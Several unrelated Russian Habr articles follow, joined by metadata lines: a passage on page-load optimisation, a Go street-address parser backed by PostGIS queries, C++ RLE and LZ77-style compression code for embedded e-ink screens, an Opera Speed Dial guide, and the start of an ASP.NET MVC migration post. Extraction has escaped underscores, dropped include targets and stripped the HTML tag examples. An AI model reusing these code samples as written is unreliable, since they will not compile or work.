«Разбить пакет» означает загружать только код, необходимый для текущей страницы, а не всего приложения. Это также означает, что части пакета можно кэшировать, даже если другие части изменились и нуждаются в перезагрузке.
Как правило, код разбивается на такие части:
* Код для конкретной страницы (page-specific)
* Общий код приложения
* Сторонние модули, которые редко меняются (отлично подходит для кэширования!)
Webpack может автоматически произвести такую оптимизацию, разбить код и уменьшить общий вес загрузки. Разбивка кода на куски производится с помощью объекта [optimization.splitChunks](https://webpack.js.org/plugins/split-chunks-plugin/). Выделите среду выполнения (рантайм) в отдельный файл: так вы сможете извлечь выгоду из долгосрочного кэширования. Иван Акулов написал [подробное руководство по разбивке пакета на отдельные файлы и кэшированию в Webpack](https://developers.google.com/web/fundamentals/performance/webpack/use-long-term-caching).
Автоматически выделить код для конкретной страницы невозможно. Нужно вручную определить те части, которые можно загружать отдельно. Часто это определённый путь или набор страниц. Используйте [динамический импорт](https://webpack.js.org/guides/code-splitting/#dynamic-imports) для ленивой загрузки этого кода.
Разбивка общего пакета на части увеличит количество запросов для загрузки вашего приложения. Но это не большая проблема, если запросы выполняются параллельно, особенно если сайт загружается по протоколу HTTP/2. Можете убедиться в этом по трём первым запросам на следующей диаграмме:
Однако на диаграмме также видны два последовательных запроса. Эти фрагменты нужны только для этой конкретной страницы и они загружаются динамически через `import()`.
Вы можете попробовать исправить проблему, вставив тег предварительной загрузки [preload](https://www.debugbear.com/blog/resource-hints-rel-preload-prefetch-preconnect#preload).
Но мы видим, что общее время загрузки страницы увеличилось.
Предварительная загрузка ресурсов иногда контрпродуктивна, так как задерживает загрузку более важных файлов. Почитайте [статью Энди Дэвиса о предварительной загрузке шрифтов](https://andydavies.me/blog/2019/02/12/preloading-fonts-and-the-puzzle-of-priorities/) и о том, как эта процедура блокирует начало рендеринга страницы.
### Загрузка данных для страницы
Вероятно, ваше приложение должно показывать какие-то данные. Вот несколько советов, которые можно использовать для ранней загрузки этих данных без лишних задержек при рендеринге.
#### Не ждите полной загрузки пакета, прежде чем начать загружать данные
Здесь частный случай цепочки последовательных запросов: вы загружаете весь пакет приложения, а затем этот код запрашивает нужные данные для страницы.
Есть два способа избежать этого:
1. Встроить данные в HTML-документ
2. Запустить запрос данных с помощью встроенного скрипта внутри документа
Внедрение данных в HTML гарантирует, что приложение не будет ждать их загрузки. Это также снижает сложность системы, так как вам не нужно обрабатывать состояние загрузки.
Однако это не очень хорошая идея, если такой приём задержит первоначальный рендеринг.
В этом случае, а также если вы отдаёте кэшированный HTML-документ через сервис-воркера, в качестве альтернативы можно использовать встроенный скрипт, который загрузит эти данные. Можете сделать его доступным как глобальный объект, вот такой промис:
```
window.userDataPromise = fetch("/me")
```
Если данные готовы, а такой ситуации приложение может немедленно начать рендеринг или подождать, пока они будут готовы.
При использовании обоих методов нужно заранее знать, какие данные будет загружать страница, прежде чем приложение начнёт рендеринг. Как правило, это очевидно для данных, связанных с пользователем (имя пользователя, уведомления и т. д.), но сложнее с контентом, который специфичен для конкретной страницы. Возможно, есть смысл выделить самые важные страницы и написать для них собственную логику.
#### Не блокируйте рендеринг в ожидании несущественных данных
Иногда для генерации данных требуется запустить медленную сложную логику на бэкенде. В таких случаях можете попробовать сначала загрузить более простую версию данных, если этого достаточно, чтобы приложение стало функциональным и интерактивным.
Например, инструмент аналитики перед загрузкой данных может сначала загрузить список всех диаграмм. Это позволяет пользователю сразу же искать интересующую его диаграмму, а также помогает распределить бэкенд-запросы по разным серверам.
#### Избегайте цепочек с последовательными запросами данных
Это может противоречить предыдущему пункту о том, что несущественные данные лучше вынести в отдельный запрос. Поэтому следует уточнить: избегайте цепочек с последовательными запросами данных, *если каждый завершённый запрос не приводит к тому, что пользователю показывается больше информации*.
Вместо того, чтобы сначала делать запрос, какой пользователь вошёл в систему, а затем запрашивать список его групп, сразу верните список групп вместе с информацией о пользователе в первом запросе. Для этого можно использовать [GraphQL](https://graphql.org/), но и конечная точка `user?includeTeams=true` тоже отлично работает.
### Рендеринг на стороне сервера
Рендеринг на стороне сервера означает предварительный рендеринг приложения, так что по запросу клиента выдаётся полностраничный HTML. Клиент видит страницу полностью отрисованной, не дожидаясь загрузки дополнительного кода или данных!
Поскольку сервер отправляет клиенту просто статический HTML, приложение не является интерактивным в этот момент. Нужно загрузить само приложение, запустить логику рендеринга, затем подключить к DOM необходимые прослушиватели событий.
Используйте серверный рендеринг в том случае, если просмотр неинтерактивного контента имеет ценность сам по себе. Также неплохо кэшировать отрендеренный HTML на сервере и сразу выдавать его всем пользователям без задержки. Например, серверный рендеринг отлично подходит при использовании React для вывода сообщений в блоге.
В [этой статье Михаила Янашека](https://michaljanaszek.com/blog/combine-pwa-and-isomorphic-rendering) рассказывается, как сочетать сервис-воркеры и рендеринг на стороне сервера.
Следующая страница
==================
В какой-то момент пользователь собирается нажать кнопку и перейти на следующую страницу. С момента открытия начальной страницы вы управляете тем, что происходит в браузере, поэтому можете подготовиться к следующему взаимодействию.
### Предварительная загрузка ресурсов
Если заранее загрузить код, необходимый для следующей страницы, то исчезает задержка при запуске навигации пользователем. Используйте [теги prefetch](https://www.debugbear.com/blog/resource-hints-rel-preload-prefetch-preconnect#prefetch) или `webpackPrefetch` для динамического импорта:
```
import(
/* webpackPrefetch: true, webpackChunkName: "todo-list" */ "./TodoList"
)
```
Учитывайте, какую нагрузку вы возлагаете на пользователя по трафику и полосе пропускания, особенно если он подключён по мобильному соединению. Если же человек загрузил мобильную версию сайта и у него активен режим сохранения данных, то разумно менее агрессивно выполнять предварительную загрузку.
Стратегически продумайте, какие части приложения раньше понадобятся пользователю.
### Повторное использование уже загруженных данных
Кэшируйте данные локально в своём приложении и используйте их, чтобы избежать будущих запросов. Если пользователь переходит из списка своих групп на страницу «Отредактировать группу», вы можете произвести переход мгновенно, повторно используя ранее загруженные данные о группе.
Обратите внимание, что это не сработает, если объект часто редактируется другими пользователями, а загруженные данные могут устареть. В этих случаях есть вариант сначала показать существующие данные только для чтения, одновременно выполняя запрос на обновлённые данные.
Заключение
==========
В этой статье перечислен ряд факторов, которые могут замедлить вашу страницу на разных этапах процесса загрузки. Инструменты вроде [Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools), [WebPageTest](https://www.webpagetest.org/) и [Lighthouse](https://developers.google.com/web/tools/lighthouse) помогут выяснить, какие из этих факторов влияют на работу конкретно вашего приложения.
На практике редко оптимизация идёт сразу по всем направлениям. Надо узнать, что оказывает наибольшее влияние на пользователей, и сосредоточиться на этом.
Пока я писал статью, то понял одну важную вещь: у меня было укоренившееся убеждение, что много отдельных запросов к серверу — это плохо для производительности. Так было в прошлом, когда каждый запрос требовал отдельного соединения, а браузеры разрешали лишь несколько соединений на домен. Но с HTTP/2 и современными браузерами это уже не так.
Есть веские аргументы в пользу разбиения приложения на части (с умножением запросов). Это позволяет загружать только необходимые ресурсы и лучше использовать кэш, поскольку придётся повторно загружать лишь изменённые файлы. | https://habr.com/ru/post/490210/ | null | ru | null |
# Разбор строки адреса (улица [дом]) средствами Golang и Postgis
Hi, %habrauser%.
Столкнулся я на днях с интересной задачей — пользователь вводит строку, которая может быть улицей с домом, просто улицей или вообще не улицей, а нам надо узнать имел ли он ввиду улицу с домом и соответствующее ему подсказать.
> — Казалось бы чего проще — разбей строку по пробелу и наслаждайся — подумал Штирлиц
>
> — А как насчет улицы Павла Корчагина — шепнула птица Обломинго
>
> — Эм, ну номер дома же наверняка число — сказал Штирлиц
>
> — Ага, корп1 — хорошее число
>
> — Мдя, придется изобретать велосипед
>
>
#### И расчехлил Штириц ~~плюсомет~~ Golang, да зарядил в него Postgis...
И так, что мы имеем — ~~устройство случайного ввода~~ пользователя, некую строку и острую необходимость выполнить определенное действие в зависимости от того, является ли то, что ввел пользователь улицей с домом
```
const MARK_STEP = 20
func AnalyzeString(str string) (result int, street, house string) {
result = 100
LastSpace := strings.LastIndex(str, " ")
if LastSpace < 1 {
result = 0
street = str
return result, street, house
}
if LastSpace < (len([]rune(str)) - 6) {
result -= MARK_STEP
} else {
result += MARK_STEP
}
street = str[:LastSpace]
house = str[LastSpace+1:]
if models.StreetCount(street) > 0 {
result += MARK_STEP * 2
} else {
result -= MARK_STEP * 2
}
if models.StreetCount(str) > 0 {
result -= MARK_STEP
} else {
result += MARK_STEP
}
if models.HouseCount(street, house) > 0 {
result += MARK_STEP
} else {
result -= MARK_STEP * 4
}
var int_count, char_count uint8
for _, run := range []rune(house) {
if (run > 47) && (run < 58) {
int_count++
} else {
char_count++
}
}
switch {
case char_count == 0:
{
result += MARK_STEP * 3
}
case int_count == 0:
{
result -= MARK_STEP * 4
}
case int_count == char_count:
{
result += MARK_STEP
}
case int_count > char_count:
{
result += MARK_STEP * 2
}
case char_count > int_count:
{
result -= MARK_STEP
}
}
return result, street, house
}
```
И так, что же это за функция и что она делает?
Функция принимает на вход строку введенную пользователем и анализирует ее возвращая вероятность того, что это улица с домом, отдельно улицу и отдельно дом.
Если вероятность больше 200 — можете не сомневаться — пользователь имел ввиду улицу с домом.
Вероятно вы заметили вызовы StreetCount(street) и HouseCount(street, house)
в принципе за ними кроется два банальный SQL запроса
```
rows, err := DB.Query("SELECT COUNT(*) FROM planet_osm_line WHERE highway <> '' AND name ILIKE $1 ", "%"+name+"%")
```
и
```
rows, err := DB.Query("SELECT COUNT(house.*) FROM planet_osm_polygon AS house WHERE \"addr:street\" ILIKE $1 AND \"addr:housenumber\" ILIKE $2", "%"+streetName+"%", "%"+houseNum+"%")
```
соответственно
И так, теперь по порядку
Стартовая вероятность 100, разбиваем строку по последнему пробелу, если не получилось (нет пробела) — то к чертям все это не улица с домом.
Если же получилось, то смотрим сколько символов осталось после пробела, если меньше 6 (это число, как и многие другие подобраны по методу профессора Тыка Неба Пальца), то стоит увеличить вероятность, а если больше или равно, то уменьшить.
Уже как-то изменив вероятность, или вообще выйдя из функции плакаться к гарбаж коллектору, продолжаем нашу эпопею (ну или не продолжаем, дядя Гарбажа не любит отпускать).
Все, что до последнего пробела считаем улицей, а то, что после — домом.
Дальше просим Postgis посмотреть, сколько улиц похоже на то, что ввел наш пользователь, если таковые вообще есть, то повышаем вероятность, если нет, то уменьшаем (нет, не выходим, ведь вполне возможно, что улицы еще нет в базе).
Теперь попробуем поискать в базе улицы по исходной строке, если есть, то стоит придержать коней и понизить вероятность, а если нет, то приударим галопом.
Повторим ту-же самую операцию с домами, спроси Postgis о том, есть ли дома с похожим номером, стоящих на похожих улицах.
Ну все, больше база нам не понадобиться.
Теперь разложим строку на символы и посчитаем сколько у нас есть цифр, а сколько букв и других символов, думаю соответствующую конструкцию switch — case объяснять не надо.
Вот таким вот не хитрым макаром Штирлиц выполнил очередное задание ставки, поборол птицу Обломинго, ~~спас дракона от принцессы, подменяя марио~~
Всем спасибо, все свободны, а я, Штирлиц, пойду почитаю дальше хабру. | https://habr.com/ru/post/225481/ | null | ru | null |
# Как сжать плоского кота
Однажды в студеную зимнюю пору… ровно год назад, у нас появилась нетривиальная задача. Есть экран на электронных чернилах, есть процессор 16МГц (да-да, во встраиваемой электронике, особенно сверхнизкого энергопотребления, встречаются и такие) и совсем нет памяти. Ну, т.е. килобайтов 8 RAM и 256 Flash. Килобайтов, Карл. И в эти унылые килобайты необходимо запихнуть несколько изображений 800х600 в четырех оттенках серого. Быстро перемножив в уме 800 на 600 и на 2 бита на пиксель получаем 120 тысяч байтов. Несколько не влезает. Надо сжимать.
Так перед нами появилась задача: «как сжать плоского кота»? Почему кота? Да потому, что на котиках тестировали, на чем же еще черно-белые картинки проверять. Не на долларовых банкнотах же.
Первый ответ звучал так: давайте сожмем кота [RLE](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B4%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%B4%D0%BB%D0%B8%D0%BD_%D1%81%D0%B5%D1%80%D0%B8%D0%B9). Кот-то плоский… То есть плоскоцветный — всего четыре оттенка. Пустых мест на экране полно, т.е. повторяющихся пикселей будет до черта. Должно сжиматься.
Должно сжиматься — сжалось. С единственным затруднением: сжимать-то нам все равно как, сжимаем мы на PC, а то и вовсе на сервере. А вот разжимать нам надо последовательно, потоковым образом: байт вытащили — байт вывели. Видеобуфера-то у нас нету на 8 килобайтах RAM, разжатого кота хранить негде.
Справились. Сжимается кот.
**Сжатие RLE**
```
/****************************************************************************/
/* Common Utilities Library * (C) Componentality Oy, 2015 */
/****************************************************************************/
/* RLE compression implementation */
/****************************************************************************/
#include "rle.h"
#include
using namespace Componentality::Common;
// Do 8-bit RLE encoding
void Componentality::Common::RLE\_Encode(unsigned char\* source, size\_t source\_size, unsigned char\* target, size\_t& target\_size)
{
target\_size = 0;
unsigned char previous\_character = source[0];
unsigned char series\_counter = 1;
bool same = false;
size\_t i;
for (i = 1; i < source\_size; i++)
{
// If current byte is equal to previous
if (source[i] == previous\_character)
{
// If we process sequence of the same characters
if (same)
{
if (series\_counter < 127)
series\_counter++;
else
{
target[target\_size++] = 0x80 | series\_counter;
target[target\_size++] = previous\_character;
series\_counter = 1;
}
}
else
{
if (series\_counter > 1)
{
target[target\_size++] = series\_counter - 1;
memcpy(target + target\_size, source + i - series\_counter, series\_counter - 1);
target\_size += series\_counter - 1;
}
series\_counter = 2;
same = true;
}
}
else
{
if (same)
{
if (series\_counter > 1)
{
target[target\_size++] = 0x80 | series\_counter;
target[target\_size++] = previous\_character;
series\_counter = 1;
}
else
series\_counter += 1;
same = false;
}
else
{
if (series\_counter > 127)
{
target[target\_size++] = series\_counter - 1;
memcpy(target + target\_size, source + i - (series\_counter - 1), series\_counter - 1);
target\_size += series\_counter - 1;
series\_counter = 1;
}
else
series\_counter++;
}
}
previous\_character = source[i];
}
if (same)
{
target[target\_size++] = 0x80 | series\_counter;
target[target\_size++] = previous\_character;
}
else
{
target[target\_size++] = series\_counter;
memcpy(target + target\_size, source + i - (series\_counter), series\_counter);
target\_size += series\_counter;
}
}
// Do buffered RLE decoding
void Componentality::Common::RLE\_Decode(unsigned char\* source, size\_t source\_size, unsigned char\* target, size\_t& target\_size)
{
target\_size = 0;
for (size\_t i = 0; i < source\_size;)
{
unsigned char size = source[i] & ~0x80;
if (source[i] & 0x80)
{
memset(target + target\_size, source[i + 1], size);
i += 2;
}
else
{
memcpy(target + target\_size, source + i + 1, size);
i += size + 1;
}
target\_size += size;
}
}
// Check where two buffers are different
size\_t Componentality::Common::isDiff(unsigned char\* left, unsigned char\* right, size\_t size)
{
for (size\_t i = 0; i < size; i++)
{
if (left[i] != right[i])
return i;
}
return (size\_t)-1;
}
// Incremental decoding initialization
void Componentality::Common::RLE\_InitDecoder(RLE\_DECODE\* handler, unsigned char\* source)
{
handler->mDecodedPortion = 0;
handler->mPtr = 0;
handler->mOffset = 0;
handler->mSource = source;
}
// Decode next byte incrementally
unsigned char Componentality::Common::RLE\_Fetch(RLE\_DECODE\* handler)
{
if (handler->mDecodedPortion > handler->mPtr)
{
handler->mPtr += 1;
if (handler->mMode == 0x00)
handler->mOffset += 1;
return handler->mSource[handler->mOffset - 1];
}
handler->mDecodedPortion = handler->mSource[handler->mOffset] & ~0x80;
handler->mMode = handler->mSource[handler->mOffset] & 0x80;
handler->mOffset += 2;
handler->mPtr = 1;
return handler->mSource[handler->mOffset - 1];
}
```
Хорошо кот сжимается. В среднем по больнице раза в 4. Но мы жадные, нам бы поплотнее. Мало у нас памяти, совсем мало, и нужна она не для одних только котиков, нам еще нужно строить одноранговую сеть, маршруты хранить и прочую всякую ерунду.
Подумали еще раз. Так подумали, сяк подумали, решили, что [LZ77](https://ru.wikipedia.org/wiki/LZ77) тоже подойдет, надо только придумать, как разжимать данные потоковым образом без промежуточного хранения. Придумали. Получилось вот так:
**Сжатие embedded-модификацией LZ77 (алгоритм Scanback)**
```
/****************************************************************************/
/* Common Utilities Library * (C) Componentality Oy, 2014-2015 */
/****************************************************************************/
/* Scanback compression implementation */
/****************************************************************************/
/* Scanback - LZ77 for embedded systems */
/* Designed and developed by Konstantin Khait */
/****************************************************************************/
#include "scanback.h"
extern "C"
{
#include "bitmem.h"
}
using namespace Componentality::Common;
// Scan buffer (buf) back from position - 1 for byte from to index
static unsigned char \_sb\_\_findback(unsigned char\* buf, unsigned long index, unsigned char wtf, unsigned char minfind, unsigned char maxfind)
{
unsigned char i;
for (i = minfind; i < maxfind; i++)
{
if (buf[index - i] == wtf)
return i;
}
return 0;
}
// Compare and for maximum length of and return length of identical fragment
static unsigned char \_sb\_\_match(unsigned char\* buf1, unsigned char\* buf2, unsigned char size)
{
unsigned char i;
for (i = 0; i < size; i++)
{
if (buf1[i] != buf2[i])
break;
}
return i;
}
// Find maximum matching sequence in buffer to sequence starting from
// - size of window to be scanned in bytes, - maximum length of matching area in bytes, - size of
SB\_PTR \_sb\_scanback(unsigned char\* buf, unsigned long index, unsigned char winsize, unsigned char matchlen, unsigned long bufsize)
{
SB\_PTR result = { 0, 0 };
unsigned char i;
if (winsize > index)
winsize = (unsigned char)index;
if (matchlen > winsize)
matchlen = winsize;
for (i = 1; i < winsize; i++)
{
register unsigned char offset = \_sb\_\_findback(buf, index, buf[index], i, winsize);
if (offset)
{
register unsigned char matchsize = (unsigned char)(matchlen < (bufsize - index) ? matchlen : bufsize - index);
if (matchsize > offset)
matchsize = offset;
register unsigned char len = \_sb\_\_match(buf + index, buf + index - offset, matchsize);
if (len > result.length)
{
result.offset = offset;
result.length = len;
}
i = offset;
}
}
return result;
}
// Do compression of buffer of size to bitwise memory . Returns number of produced bits
unsigned long Componentality::Common::SB\_Compress(unsigned char\* mem, unsigned char\* buf, unsigned long size)
{
unsigned long bitcount = 0, i;
SB\_PTR cptr;
for (i = 0; i < (1 << LENGTH\_BITS); i++)
mem[i] = buf[i];
bitcount += (1 << LENGTH\_BITS) \* 8;
for (i = 1 << LENGTH\_BITS; i < size;)
{
cptr = \_sb\_scanback(buf, i, 1 << WINDOW\_BITS, 1 << LENGTH\_BITS, size);
if (!cptr.offset)
{
bitmem\_put1(mem, bitcount++, 0);
bitmem\_put(mem, bitcount, buf[i], 8);
bitcount += 8;
i += 1;
}
else
{
bitmem\_put1(mem, bitcount++, 1);
bitmem\_put(mem, bitcount, cptr.offset - 1, WINDOW\_BITS);
bitcount += WINDOW\_BITS;
bitmem\_put(mem, bitcount, cptr.length - 1, LENGTH\_BITS);
bitcount += LENGTH\_BITS;
i += cptr.length;
}
}
return bitcount;
}
// Initialize decoder context
void Componentality::Common::SB\_InitDecoder(SB\_DECODER\* decoder, unsigned char\* mem)
{
decoder->bitindex = 0;
decoder->mem = mem;
decoder->total\_decoded = 0;
decoder->index = 0;
decoder->brb = 0;
}
// Initialize decoder with ringbuffer
void SB\_InitDecoderRB(SB\_DECODER\* decoder, void\* ringbuffer)
{
decoder->bitindex = 0;
decoder->mem = 0;
decoder->total\_decoded = 0;
decoder->index = 0;
decoder->brb = ringbuffer;
}
// Unpack next byte from the packed stream
unsigned char Componentality::Common::SB\_Fetch(SB\_DECODER\* decoder)
{
register unsigned char result;
if (decoder->index < (1 << LENGTH\_BITS))
{
if (!decoder->brb)
result = decoder->decoded\_buf[decoder->index % (1 << WINDOW\_BITS)] = decoder->mem[decoder->index];
else
result = decoder->decoded\_buf[decoder->index % (1 << WINDOW\_BITS)] = (unsigned char)bitmem\_read\_ringbuf((BIT\_RINGBUF\*)decoder->brb, 8);
decoder->index += 1;
decoder->bitindex += 8;
decoder->total\_decoded += 1;
return result;
}
if (decoder->index >= decoder->total\_decoded)
{
bit isref = bitmem\_get1(decoder->mem, decoder->bitindex++);
if (!isref)
{
if (!decoder->brb)
decoder->decoded\_buf[decoder->total\_decoded % (1 << WINDOW\_BITS)] = (unsigned char)bitmem\_get(decoder->mem, decoder->bitindex, 8);
else
decoder->decoded\_buf[decoder->total\_decoded % (1 << WINDOW\_BITS)] = (unsigned char)bitmem\_read\_ringbuf((BIT\_RINGBUF\*)decoder->brb, 8);;
decoder->bitindex += 8;
decoder->total\_decoded += 1;
}
else
{
register SB\_PTR ptr;
register unsigned char i;
if (!decoder->brb)
ptr.offset = (unsigned char)bitmem\_get(decoder->mem, decoder->bitindex, WINDOW\_BITS) + 1;
else
ptr.offset = (unsigned char) bitmem\_read\_ringbuf((BIT\_RINGBUF\*)decoder->brb, WINDOW\_BITS) + 1;
decoder->bitindex += WINDOW\_BITS;
if (!decoder->brb)
ptr.length = (unsigned char)bitmem\_get(decoder->mem, decoder->bitindex, LENGTH\_BITS) + 1;
else
ptr.length = (unsigned char) bitmem\_read\_ringbuf((BIT\_RINGBUF\*)decoder->brb, LENGTH\_BITS) + 1;
decoder->bitindex += LENGTH\_BITS;
for (i = 0; i < ptr.length; i++)
{
register unsigned long srcptr = decoder->total\_decoded - ptr.offset;
decoder->decoded\_buf[decoder->total\_decoded % (1 << WINDOW\_BITS)] = decoder->decoded\_buf[srcptr % (1 << WINDOW\_BITS)];
decoder->total\_decoded += 1;
}
}
}
result = decoder->decoded\_buf[decoder->index % (1 << WINDOW\_BITS)];
decoder->index += 1;
return result;
}
```
Особенно нас порадовал footprint для декомпрессии, приблизительно равный 150 байтам (при «окне» алгоритма в 127 байтов). Первоначально в алгоритмах Лемпеля-Зива нас сильно смущала необходимость выделения памяти под словарь. RLE-то словарь вовсе без надобности… Но 150 байтами нас не напугаешь.
Напугало нас другое — несмотря на то, что из теории известно, что LZ77 — это обобщение RLE, замена второго на первый давала улучшение результата на грани статистической погрешности: иногда лучше, иногда хуже, но в целом та же степень сжатия, какие параметры не задавай.
Стали думать про энтропийные методы: Хаффмана, арифметическое кодирование, написали пару прототипов… не придумали. Всем декомпрессорам нужны таблицы вполне приличного, а по нашим меркам — прямо-таки неприличного размера.
А потом… А потом мы запустили сжатие scanback'ом **поверх** RLE. И, о чудо, степень сжатия с 3-4 подскочила до 7-10 в зависимости от «пушистости кота», то бишь от степени плоскоцветности картинки и количества градиентных областей. Можно жить. И, самое главное, RLE + SB прекрасным образом разжимается потоковым декомпрессором в один проход.
Вот так:
**Потоковый декомпрессор RLE + Scanback**
```
/****************************************************************************/
/* Common Utilities Library * (C) Componentality Oy, 2015 */
/****************************************************************************/
/* Combined RLE + Scanback implementation (compression is to be done */
/* sequentially, decompression is optimized */
/****************************************************************************/
#include "rlesbc.h"
using namespace Componentality::Common;
// Decode next byte incrementally for stream compressed by both RLE and Scanback
unsigned char Componentality::Common::RLESB_Fetch(RLE_DECODE* handler, SB_DECODER* sb_handler, unsigned char* repeating_value)
{
if (handler->mDecodedPortion > handler->mPtr)
{
handler->mPtr += 1;
if (handler->mMode == 0x00)
*repeating_value = SB_Fetch(sb_handler);
return *repeating_value;
}
*repeating_value = SB_Fetch(sb_handler);
handler->mDecodedPortion = *repeating_value & ~0x80;
handler->mMode = *repeating_value & 0x80;
*repeating_value = SB_Fetch(sb_handler);
handler->mPtr = 1;
return *repeating_value;
}
```
Вот уже год, как наши котики прекрасно живут почти «в полном беспамятстве», назло всяким ZLIB'ам. Которые, разумеется, жмут куда плотнее, но и ресурсов потребляют несравнимо больше. А мы тем временем обнаружили, что наш RLE + SB великолепно подходит для многих других задач, например, им великолепно сжимаются растровые шрифты, даже с прозрачностью и антиалиасингом, а также всякий сетевой текстовый трафик. Естественно, степень компрессии составляет смешные 2.5-6, зато и ресурсов почти не потребляется, особенно на разжатие, которое, как правило, выполняется чаще, и к скорости-памяти куда критичнее.
Так что мы решили не жмотиться и выложить код в открытый доступ (при условии соблюдения лицензии [MIT](https://ru.wikipedia.org/wiki/%D0%9B%D0%B8%D1%86%D0%B5%D0%BD%D0%B7%D0%B8%D1%8F_MIT)). Вдруг и вам придется что-нибудь разжимать в условиях катастрофической нехватки памяти и процессорного ресурса. | https://habr.com/ru/post/273047/ | null | ru | null |
# Выделите свой сайт в Speed Dial
Настольная версия браузера Opera, начиная с версии 11.10, позволяет владельцам сайтов определять, как их сайт будет отображаться в миниатюрах Экспресс-панели. По-умолчанию, для отображения используется скриншот целой веб-страницы. Теперь появилась возможность указывать значок через CSS или в теле веб-страницы.
#### Логотип
Этот раздел посвящен тому, как использовать собственный логотип или значок в Экспресс-панели.
##### Значки в HTML5
Вы, возможно, знакомы со значками закладок. Впервые они были представлены в 5 версии Internet Explorer в 1999 году. Хотя, они и не были включены в спецификацию HTML4, производители браузеров в конце концов [согласились включить поддержку](http://www.w3.org/2005/10/howto-favicon) значков как значение атрибута rel ссылки. Фирма Apple позже расширила поддержку значков в своих сенсорных устройствах через [apple-touch-icon](http://developer.apple.com/library/safari/#documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html). Согласно спецификации HTML5, в настоящее время значок является [валидным](http://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon), [стандартизированным значением](http://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon) элемента для атрибута rel.
##### Объявление значка для Экспресс-панели
Объявление значка для Экспресс-панели во многом схоже с объявлением значка сайта. Необходимо лишь добавить тег в секцию head веб-страницы:
```
My Opera
```
Значок для Экспресс-панели должен быть:* минимум 114 х 114 пикселей. Значки меньшего размера будут игнорироваться;
* файл должен быть формата PNG, JPG или GIF. Файлы формата SVG пока не поддерживаются. В случае использования анимированных изображений, будет отображаться только первый кадр.
По-умолчанию, максимальный размер значка составляет 260 x 195 пикселей. Значки большего размера будут уменьшены до подходящих размеров ([демо](http://dev.opera.com/articles/view/opera-speed-dial-enhancements/icon.html)). Изменить значения по-умолчанию минимального и максимального размера значка можно в меню настроек браузера в opera:config.
Также Opera 11.10 поддерживает apple-touch-icon, apple-touch-icon-precomposed и image\_src.
##### Использование нескольких значков
Вы также можете указать несколько иконок. Это очень удобно, если хотите, чтоб пользователь использовал одну иконку при добавлении страницы в закладки, а другую при добавлении сайта в Экспресс-панель.
```
My Opera
```
Если объявить несколько значков, на Экспресс-панели будет отображаться больший по размеру ([демо](http://dev.opera.com/articles/view/opera-speed-dial-enhancements/multiple-icons-diff-sizes.html)). Если значки одинакового размера, использоваться будет тот, который объявлен первым ([демо](http://dev.opera.com/articles/view/opera-speed-dial-enhancements/multiple-icons-same-size.html)).
#### Экспресс-панель с учетом содержимого
Данный раздел описывает несколько новых способов получения содержимого для Экспресс-панели:* использование view-mode: minimized в CSS;
* испольхзование HTTP-заголовка X-Purpose;
* автоматическая перезагрузка.
##### Использование view-mode: minimized
###### Рисунок 1: Экспресс-панель в Opera 11.10
Параметр [view-mode](http://www.w3.org/TR/view-mode/) определяет то, как будет указываться стили в зависимости от режима просмотра. Используя view-mode: minimized, вы можете определять альтернативные стили отображения содержимого, предназначенного для Экспресс-панели. View-mode работает аналогично device-width. Стили должны содержать [media](http://habrahabr.ru/users/media/).
```
@media screen and (view-mode: minimized) {
body {
color: #fff;
background: #b20000;
}
}
```
Вы также можете подключить CSS-файл и выставить значение аттрибута media так:
```
```
Пример с использованием view-mode: minimized [здесь](http://dev.opera.com/articles/view/opera-speed-dial-enhancements/view-mode.html).
Помните, что view-mode: minimized переключает окно просмотра в Экспресс-панели на 260 х 195 пикселей.
#### Использование HTTP-заголовка
Также есть возможность использовать различные URL для Экспресс-панели, каждый запрос которой содержит дополнительный HTTP-заголовок X-Purpose: preview.
```
GET / HTTP/1.1
Host: www.bbc.co.uk/news
X-Purpose: preview
User-agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.6.6; U; en) Presto/2.8.99 Version/11.10
```
При обнаружении данного HTTP-заголовкка вы можете выбрать, какой URL будет использоваться, определить файлы, которые отправятся на Экспресс-панель, или вывести специально заготовленное для Экспресс-панели содержимое. Заметьте, что такого же эффекта не будет, когда пользователь перейдет на сайт из Экспресс-панели.
В примере ниже, мы используем директиву mod\_rewrite сервера Apache для перенаправления всех запросов Экспресс-панели на адрес /preview.html (вам, возможно, захочется конкретизировать запросы в конкретной ситуации):
```
RewriteEngine On
RewriteCond %{HTTP:X-Purpose} ^preview$
RewriteRule ^(.*) /preview.html
```
Или быть может вы предпочтёте использовать серверную обработку запросов на каком-либо языке. Ниже приведен пример на PHP:
```
php
if ($_SERVER['HTTP_X_PURPOSE'] == 'preview') {
// Send Speed Dial content
} else {
// Send regular content
}
?
```
##### Автообновление через определенный интервал
Чтобы сделать содержимое Экспресс-панели более динамичным, вы можете установить интервал для обновления, который будет использоваться после добавления сайта в Экспресс-панель. Это можно сделать двумя способами:
* используя meta-тег:
```
```
* возвращая HTTP-ответ вида:
```
Preview-Refresh: 3600
```
Данный интервал указывается в секундах, т.е. значение 3600 будет равно 1 часу.
#### Приоритет
Порядок получения содержимого для Экспресс-панели является следующим:
Приоритет в первую очередь отдается view-mode: minimized в CSS и стилях. Если стили недоступны, браузер будет искать объявление значка для страницы. Если ничего не будет объявлено либо файл будет не доступен или поврежден, будет использоваться стандартный метод, а именно добавление снимка целой страницы.
#### Продукты, поддерживающие данный функционал
Пока эти улучшения доступны только для пользователей настольной версии браузера Opera.
#### Для справки
[Ссылки из спецификации HTML5 WHATWG](http://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon)
[Спецификация view-mode](http://www.w3.org/TR/view-mode/)
###### p.s. Приму все поправки и неточности в переводе. Лучше в личку ;) | https://habr.com/ru/post/115705/ | null | ru | null |
# Об опыте перевода проекта asp.net mvc на .net 4 (mvc 2)
Здравствуйте! В этой статье я расскажу о своем опыте перевода проекта asp.net mvc на .net 4. В сети есть пост под названием [ASP.NET MVC 2 Brings Breaking Changes](http://www.infoq.com/news/2010/03/ASP-MVC-Break). Здесь вы можете ознакомиться с основными нововведениями в asp.net mvc 2. Мой опыт миграции проекта касается как этого поста, так и того, что в нем не упомянуто. Скажу сразу что после конвертации проект компилировался, но был неработоспособен. Не отвечал на действия, либо генерировал исключения. Разберем каждую найденную мной особенность по порядку.
